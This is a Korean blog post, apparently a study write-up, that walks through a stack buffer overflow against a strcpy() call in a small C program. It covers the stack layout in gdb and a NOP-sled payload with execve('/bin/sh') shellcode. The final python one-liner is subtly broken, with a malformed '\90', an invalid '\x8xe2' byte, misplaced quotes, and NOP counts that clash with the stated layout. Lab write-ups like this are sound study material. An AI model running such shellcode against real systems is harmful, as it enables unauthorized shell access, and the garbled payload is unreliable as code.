Overflow - 1
vulnerable.c
위 코드는 strcpy()함수로 argv[1]을 str로 복사 후 printf()함수로 str을 출력
그러나 위 코드에는 strcpy()함수와 printf()함수의 취약점이 존재.
strcpy()는 argv[1]의 문자열의 길이를 검증하지 않아 Buffer Overflow 취약점이 발생
printf()는 포멧 타입과 인자를 지정하지 않고 변수를 직접 인자로 넣어서 Format String Bug 취약점이 발생
시나리오1. Buffer Overflow
- str 사이즈가 256byte이고 strcpy()는 문자열의 길이를 검증하지 않으므로 argv[1]에 shell 코드를 넣고 str로 복사하여 str을 Overflow시키고 main()함수의 return address를 str주소로 변조하여 공격
실행파일 Disassemble
<main+3>은 stack pointer를 16진수 108(10진수 264)만큼 확보
그러나 우리는 str에 256byte만큼만 할당
이것으로 컴파일러가 dummy를 추가했을 것으로 추측
dummy의 값은 8byte[264-256]
main()함수의 복귀주소를 str로 바꾸기 위해
str의 주소를 알아내기
strcpy()함수가 호출되고 난 후인 main+56에 break
인자 및 프로그램 길이에 따라 변수의 주소도 달라지므로 payload의 길이는 어느정도
예상해서 실행
0xbffff9e8 |
RET(4) |
0xbffff9e4 |
SFT(4) |
0xbffff9e0 |
Dummy(8) |
0xbffff8e0 |
str(256) |
현재 스택의 상태
(gdb) x/20wx $esp
str(256) + Dummy(8) + SFP(4) = 268byte만큼 채우고 RET는 0xbffff8e0로 변경
= NOP(100) + SHELLCODE(25) + NOP(131) + Dummy(8) + SFP(4) + RET(4)
$ ./vulnerable $(python -c 'print("\90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe3\x50\x8xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+\x90*143 + \xe0\xf8\xff\xbf")')
$id
'Try Attack > System Hacking[basic]' 카테고리의 다른 글
RTL(Return To Libc) 입력 (0) | 2019.01.11 |
---|---|
Overflow - 2 (0) | 2018.05.24 |
gcc 메모리보호옵션 (0) | 2018.05.18 |
gcc 사용방법 (0) | 2018.05.18 |
함수의 호출규약 (1) | 2018.05.18 |
댓글